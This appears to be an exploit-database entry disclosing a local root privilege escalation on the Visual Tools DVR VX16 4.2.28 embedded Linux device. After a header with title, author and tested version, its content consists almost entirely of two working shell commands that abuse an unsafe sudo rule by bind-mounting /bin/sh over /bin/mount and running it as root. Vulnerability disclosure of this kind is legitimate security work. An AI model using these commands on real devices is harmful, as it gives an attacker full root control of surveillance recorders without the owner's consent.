Visual Tools DVR VX16 4.2.28 Privilege Escalation

`# Exploit Title: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation  
# Date: 2021-07-05  
# Exploit Author: Andrea D'Ubaldo  
# Vendor Homepage: https://visual-tools.com/  
# Version: Visual Tools VX16 v4.2.28.0  
# Tested on: VX16 Embedded Linux 2.6.35.4.  
  
#An attacker can perform a system-level (root) local privilege escalation abusing unsafe Sudo configuration.  
  
sudo mount -o bind /bin/sh /bin/mount  
sudo mount  
  
`